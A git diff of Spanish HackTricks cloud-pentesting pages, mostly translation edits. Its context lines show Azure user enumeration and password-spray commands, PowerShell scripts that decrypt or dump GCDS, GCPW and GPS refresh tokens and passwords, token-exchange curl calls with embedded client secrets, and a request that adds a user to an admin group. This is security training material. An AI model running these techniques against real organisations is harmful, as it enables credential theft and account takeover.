Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como las VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de un **gateway VPN que cifra el tráfico** entre las dos redes.
Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de un **gateway VPN que cifra el tráfico** entre las dos redes.
**Ejemplo:**
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -394,7 +394,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute es un servicio que proporciona una **conexión privada, dedicada y de alta velocidad entre su infraestructura local y los centros de datos de Azure**. Esta conexión se realiza a través de un proveedor de conectividad, evitando el internet público y ofreciendo más confiabilidad, velocidades más rápidas, latencias más bajas y mayor seguridad que las conexiones de internet típicas.
Azure ExpressRoute es un servicio que proporciona una **conexión privada, dedicada y de alta velocidad entre su infraestructura local y los centros de datos de Azure**. Esta conexión se realiza a través de un proveedor de conectividad, evitando el internet público y ofreciendo más confiabilidad, velocidades más rápidas, menores latencias y mayor seguridad que las conexiones típicas a internet.
**Ejemplo:**
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

22
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
View File

@@ -17,7 +17,7 @@ Puedes consultar directamente la API o usar la biblioteca de PowerShell [**AADIn
| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName <UserName>` |
Puedes consultar toda la información de un inquilino de Azure con **solo un comando de la** [**biblioteca AADInternals**](https://github.com/Gerenios/AADInternals):
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Ejemplo de la información del inquilino de Azure:
@@ -47,7 +47,7 @@ Es posible **verificar si un nombre de usuario existe** dentro de un inquilino.
El correo electrónico es la dirección de correo del usuario donde "@" se reemplaza con un guion bajo "\_".
Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puedes verificar fácilmente si el usuario existe o no:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -76,15 +76,15 @@ Hay **tres métodos de enumeración diferentes** para elegir:
| Método | Descripción |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | Esto se refiere a la API GetCredentialType mencionada anteriormente. El método predeterminado. |
| Login | <p>Este método intenta iniciar sesión como el usuario.<br><strong>Nota:</strong> las consultas se registrarán en el registro de inicios de sesión.</p> |
| Autologon | <p>Este método intenta iniciar sesión como el usuario a través del punto final de autologon.<br><strong>¡Las consultas no se registran</strong> en el registro de inicios de sesión! Como tal, también funciona bien para ataques de password spray y de fuerza bruta.</p> |
| Login | <p>Este método intenta iniciar sesión como el usuario.<br><strong>Nota:</strong> las consultas se registrarán en el registro de inicios de sesión.</p> |
| Autologon | <p>Este método intenta iniciar sesión como el usuario a través del endpoint de autologon.<br><strong>¡Las consultas no se registran</strong> en el registro de inicios de sesión! Como tal, también funciona bien para ataques de password spray y de fuerza bruta.</p> |
Después de descubrir los nombres de usuario válidos, puedes obtener **información sobre un usuario** con:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
El script [**o365creeper**](https://github.com/LMGsec/o365creeper) también te permite descubrir **si un correo electrónico es válido**.
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -95,7 +95,7 @@ Otra buena fuente de información es Microsoft Teams.
La API de Microsoft Teams permite buscar usuarios. En particular, los endpoints de "búsqueda de usuarios" **externalsearchv3** y **searchUsers** podrían usarse para solicitar información general sobre cuentas de usuario inscritas en Teams.
Dependiendo de la respuesta de la API, es posible distinguir entre usuarios no existentes y usuarios existentes que tienen una suscripción válida a Teams.
Dependiendo de la respuesta de la API, es posible distinguir entre usuarios que no existen y usuarios existentes que tienen una suscripción válida a Teams.
El script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) podría usarse para validar un conjunto dado de nombres de usuario contra la API de Teams.
```bash
@@ -172,15 +172,15 @@ Lo siento, no puedo ayudar con eso.
Sabiendo que conocemos los **dominios que está utilizando el inquilino de Azure**, es hora de intentar encontrar **servicios de Azure expuestos**.
Puedes usar un método de [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta función buscará el nombre de dominio base (y algunas permutaciones) en varios **dominios de servicios de Azure:**
```powershell
Puedes usar un método de [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta función buscará el nombre de dominio base (y algunas permutaciones) en varios **dominios de servicios de azure:**
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Almacenamiento Abierto
Podrías descubrir almacenamiento abierto con una herramienta como [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) que utilizará el archivo **`Microburst/Misc/permitations.txt`** para generar permutaciones (muy simples) para intentar **encontrar cuentas de almacenamiento abiertas**.
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]

4
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
View File

@@ -9,7 +9,7 @@ En **Azure**, esto se puede hacer contra **diferentes puntos finales de API** co
Sin embargo, ten en cuenta que esta técnica es **muy ruidosa** y el Blue Team puede **capturarlo fácilmente**. Además, la **complejidad de contraseña forzada** y el uso de **MFA** pueden hacer que esta técnica sea algo inútil.
Puedes realizar un ataque de password spray con [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ O con [**o365spray**](https://github.com/0xZDH/o365spray)
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
O con [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

24
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -6,7 +6,7 @@
## Metodología Básica
Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas comunes que un pentester debe verificar** al probar un entorno en la nube:
Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas comunes que un pentester debería verificar** al probar un entorno en la nube:
- **Verificaciones de referencia**
- Esto te ayudará a **entender el tamaño** del entorno y **los servicios utilizados**
@@ -17,19 +17,19 @@ Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas
- Esto ayudará mucho en los siguientes pasos
- **Verificar activos expuestos**
- Esto se puede hacer durante la sección anterior, necesitas **descubrir todo lo que está potencialmente expuesto** a Internet de alguna manera y cómo se puede acceder a ello.
- Aquí estoy tomando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también sobre otros **servicios gestionados en la nube que pueden ser configurados** para estar expuestos (como bases de datos o buckets)
- Aquí estoy considerando **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también sobre otros **servicios gestionados en la nube que pueden ser configurados** para estar expuestos (como bases de datos o buckets)
- Luego deberías verificar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿mala configuraciones en el servicio expuesto?)
- **Verificar permisos**
- Aquí deberías **descubrir todos los permisos de cada rol/usuario** dentro de la nube y cómo se utilizan
- ¿Demasiadas cuentas **altamente privilegiadas** (controlan todo)? ¿Claves generadas no utilizadas?... La mayoría de estas verificaciones ya deberían haberse realizado en las pruebas de referencia
- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites pedirles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador sea asignado a 1 usuario o a 100)
- Si el cliente está utilizando OpenID o SAML u otra **federación**, es posible que necesites preguntarles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol de administrador sea asignado a 1 usuario o a 100)
- **No es suficiente encontrar** qué usuarios tienen permisos de **administrador** "\*:\*". Hay muchos **otros permisos** que dependiendo de los servicios utilizados pueden ser muy **sensibles**.
- Además, hay **potenciales caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben ser tenidas en cuenta y **se deben reportar tantos caminos de privesc como sea posible**.
- Además, hay **posibles caminos de privesc** a seguir abusando de los permisos. Todas estas cosas deben ser tenidas en cuenta y **se deben reportar tantos caminos de privesc como sea posible**.
- **Verificar Integraciones**
- Es muy probable que **integraciones con otras nubes o SaaS** se estén utilizando dentro del entorno de la nube.
- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso para (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\
- Para **integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso a (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se está realizando.\
Por ejemplo, quién puede escribir en un bucket de AWS del cual GCP está obteniendo datos (pregunta qué tan sensible es la acción en GCP al tratar esos datos).
- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente para (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\
- Para **integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente a (ab)usar esa integración** y verificar cómo se está utilizando esos datos.\
Por ejemplo, si un servicio está utilizando una imagen de Docker alojada en GCR, deberías preguntar quién tiene acceso para modificar eso y qué información sensible y acceso obtendrá esa imagen al ejecutarse dentro de una nube de AWS.
## Herramientas Multi-Nube
@@ -146,7 +146,7 @@ done
{{#tabs }}
{{#tab name="Instalar" }}
Descarga e instala Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O usa Brew:
Descargue e instale Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). O use Brew:
```
brew tap turbot/tap
brew install steampipe
@@ -242,7 +242,7 @@ Nessus tiene un _**Audit Cloud Infrastructure**_ escaneo que soporta: AWS, Azure
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube.
Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de Host, Direcciones IP) de Proveedores de Nube.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -361,8 +361,8 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Descubre los usuarios más privilegiados en el entorno escaneado de AWS o Azure, incluidos los AWS Shadow Admins. Utiliza PowerShell.
```powershell
Descubre los usuarios más privilegiados en el entorno de AWS o Azure escaneado, incluidos los AWS Shadow Admins. Utiliza PowerShell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,11 +372,11 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Una herramienta para encontrar la infraestructura, archivos y aplicaciones de una empresa (objetivo) en los principales proveedores de la nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura de la nube (actualmente solo se admite AWS y Azure, con GCP en camino).
- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura de la nube (actualmente solo se admiten AWS y Azure, con GCP en camino).
- Es una herramienta de enumeración que está destinada a complementar el pentesting manual.
- No crea ni modifica ningún dato dentro del entorno de la nube.

26
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
View File

@@ -4,12 +4,12 @@
## Información Básica
Esta es una herramienta que se puede utilizar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
Esta es una herramienta que se puede usar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
Es interesante porque es una herramienta que requerirá las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que esté sincronizando usuarios de vez en cuando.
> [!NOTE]
> Para realizar un **MitM** al binario **`config-manager.exe`**, simplemente agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Para realizar un **MitM** al binario **`config-manager.exe`**, solo agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCDS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
@@ -20,7 +20,7 @@ También ten en cuenta que GCDS no sincronizará contraseñas de AD a Workspace.
### GCDS - Tokens de Disco y Credenciales de AD
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documents` del usuario o en **cualquier otra carpeta**.
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documentos` del usuario o en **cualquier otra carpeta**.
Además, el registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro de la clave **`open.recent`** contiene las rutas a todos los archivos de configuración abiertos recientemente (xmls). Así que es posible **verificarlo para encontrarlos**.
@@ -49,12 +49,12 @@ La información más interesante dentro del archivo sería:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Tenga en cuenta cómo el **refresh** **token** y la **contraseña** del usuario están **encriptados** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
Tenga en cuenta cómo el **refresh** **token** y la **password** del usuario están **encrypted** utilizando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
<details>
<summary>Script de Powershell para desencriptar el refresh token y la contraseña</summary>
```powershell
<summary>Script de Powershell para descifrar el refresh token y la password</summary>
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,7 +150,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** desde **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** en **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
En lugar de usar el script de powershell, también es posible usar el binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con el parámetro `-exportKeys` y obtener la **Key** y **IV** del registro en hex y luego simplemente usar algún cyberchef con AES/CBC y esa clave e IV para descifrar la información.
@@ -162,7 +162,7 @@ Supongo que también podrías encontrar las credenciales configuradas de AD.
<details>
<summary>Volcar procesos config-manager.exe y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
### GCDS - Generación de tokens de acceso a partir de tokens de actualización
### GCDS - Generando tokens de acceso a partir de tokens de actualización
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
```
</details>
Y esta es la salida que obtuve en el momento de la escritura:
Y esta es la salida que obtuve en el momento de la redacción:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Crear un usuario y agregarlo al grupo `gcp-organization-admins` para intentar escalar en GCP
#### Crear un usuario y añadirlo al grupo `gcp-organization-admins` para intentar escalar en GCP
```bash
# Create new user
curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> No es posible otorgar al nuevo usuario el rol de Super Amin porque el **token de actualización no tiene suficientes alcances** para otorgar los privilegios requeridos.
> No es posible otorgar al nuevo usuario el rol de Super Admin porque el **token de actualización no tiene suficientes scopes** para otorgar los privilegios requeridos.
{{#include ../../../banners/hacktricks-training.md}}

34
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
View File

@@ -33,12 +33,12 @@ scope=https://www.google.com/accounts/OAuthLogin
>
> También configura en "Servicios y otros usuarios" ambas opciones e instala el certificado CA de Burp en Windows.
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`**, es posible hacer que almacene algunos registros.
Además, al agregar las claves `enable_verbose_logging = 1` y `log_file_path = C:\Public\gcpw.log` en **`HKLM:\SOFTWARE\Google\GCPW`** es posible hacer que almacene algunos registros.
### GCPW - Huella digital
Es posible verificar si GCPW está instalado en un dispositivo comprobando si existe el siguiente proceso o si existen las siguientes claves de registro:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
En **`HKCU:\SOFTWARE\Google\Accounts`** es posible acceder al correo electrónico del usuario y al **refresh token** encriptado si el usuario ha iniciado sesión recientemente.
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, identificador de token...
En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios** que están permitidos para iniciar sesión en la clave `domains_allowed` y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, manejador de token...
> [!NOTE]
> El identificador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
> El manejador de token es un token que comienza con `eth.` y del cual se puede extraer información con una solicitud como:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -80,7 +80,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
> }
> ```
>
> También es posible encontrar el identificador de token de un token de acceso con una solicitud como:
> También es posible encontrar el manejador de token de un token de acceso con una solicitud como:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -96,7 +96,7 @@ En **`HKLM:\SOFTWARE\Google\GCPW\Users`** es posible encontrar los **dominios**
> }
> ```
>
> Hasta donde sé, no es posible obtener un refresh token o access token del identificador de token.
> Hasta donde sé, no es posible obtener un refresh token o access token del manejador de token.
Además, el archivo **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** es un json que contiene la información de diferentes **configuraciones** como `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (si varios usuarios de Workspace pueden iniciar sesión en la computadora) y `validityPeriodDays` (número de días que un usuario no necesita volver a autenticarse directamente con Google).
@@ -109,7 +109,7 @@ Dentro del registro **`HKCU:\SOFTWARE\Google\Accounts`** podría ser posible enc
<details>
<summary>Obtener <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> datos y desencriptar refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -167,7 +167,7 @@ Como se explica en [**este video**](https://www.youtube.com/watch?v=FEQxHRRP_5I)
### GCPW - Tokens de actualización de disco
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario como:
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario, como:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
@@ -185,7 +185,7 @@ El siguiente script se puede usar para **extraer** cada proceso de **Chrome** us
<details>
<summary>Extraer procesos de Chrome y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -342,7 +342,7 @@ rm /tmp/valid_scopes.txt
```
</details>
Y este es el resultado que obtuve en el momento de la escritura:
Y esta es la salida que obtuve en el momento de la escritura:
<details>
@@ -378,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada por fuerza bruta**. Por lo tanto, se pueden asumir estos alcances adicionales:
Además, al revisar el código fuente de Chromium, es posible [**encontrar este archivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contiene **otros alcances** que se puede suponer que **no aparecen en la lista previamente forzada**. Por lo tanto, se pueden asumir estos alcances adicionales:
<details>
@@ -461,14 +461,14 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
Tenga en cuenta que el más interesante es posiblemente:
Ten en cuenta que el más interesante posiblemente sea:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Sin embargo, intenté usar este alcance para acceder a gmail o listar grupos y no funcionó, así que no sé cuán útil sigue siendo.
**Obtén un token de acceso con todos esos alcances**:
**Obtener un token de acceso con todos esos alcances**:
<details>
@@ -585,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Algunos ejemplos utilizando algunos de esos alcances:
Algunos ejemplos usando algunos de esos alcances:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -803,11 +803,11 @@ Luego busca el secreto como `Chrome-GCPW-<sid>` como en la imagen:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
Luego, con un **access token** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
Luego, con un **token de acceso** con el alcance `https://www.google.com/accounts/OAuthLogin`, es posible solicitar la clave privada para descifrar la contraseña:
<details>
<summary>Script para obtener la contraseña en texto claro dado el access token, la contraseña encriptada y el id de recurso</summary>
<summary>Script para obtener la contraseña en texto claro dado el token de acceso, la contraseña encriptada y el id de recurso</summary>
```python
import requests
from base64 import b64decode

16
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
View File

@@ -27,7 +27,7 @@ Respecto al AD, es posible indicarle que use el **contexto de aplicaciones actua
> [!TIP]
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GPS**, obtener información sobre la configuración y **incluso desencriptar la contraseña y el token**.
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
En el archivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** es posible encontrar parte de la configuración, como el **`baseDN`** del AD configurado y el **`username`** cuyas credenciales se están utilizando.
En el registro **`HKLM\Software\Google\Google Apps Password Sync`** es posible encontrar el **token de actualización encriptado** y la **contraseña encriptada** para el usuario de AD (si la hay). Además, si en lugar de un token, se utilizan algunas **credenciales de SA**, también es posible encontrar esas encriptadas en esa dirección del registro. Los **valores** dentro de este registro son solo **accesibles** por **Administradores**.
@@ -36,7 +36,7 @@ La **contraseña encriptada** (si la hay) está dentro de la clave **`ADPassword
El token encriptado (si lo hay) está dentro de la clave **`AuthToken`** y está encriptado usando la API **`CryptProtectData`**. Para desencriptarlo, necesitas ser el mismo usuario que configuró la sincronización de contraseñas y usar esta **entropía** al usar **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Además, también está codificado usando base32hex con el diccionario **`0123456789abcdefghijklmnopqrstv`**.
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
Los valores de entropía se encontraron utilizando la herramienta. Se configuró para monitorear las llamadas a **`CryptUnprotectData`** y **`CryptProtectData`** y luego se utilizó la herramienta para lanzar y monitorear `PasswordSync.exe`, que desencriptará la contraseña y el token de autenticación configurados al principio, y la herramienta **mostrará los valores de la entropía utilizada** en ambos casos:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
@@ -52,7 +52,7 @@ Supongo que también podrías encontrar las credenciales configuradas del AD.
<details>
<summary>Volcar <code>PasswordSync.exe</code> y los procesos de <code>password_sync_service.exe</code> y buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Generando tokens de acceso a partir de tokens de actualización
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -137,7 +137,7 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
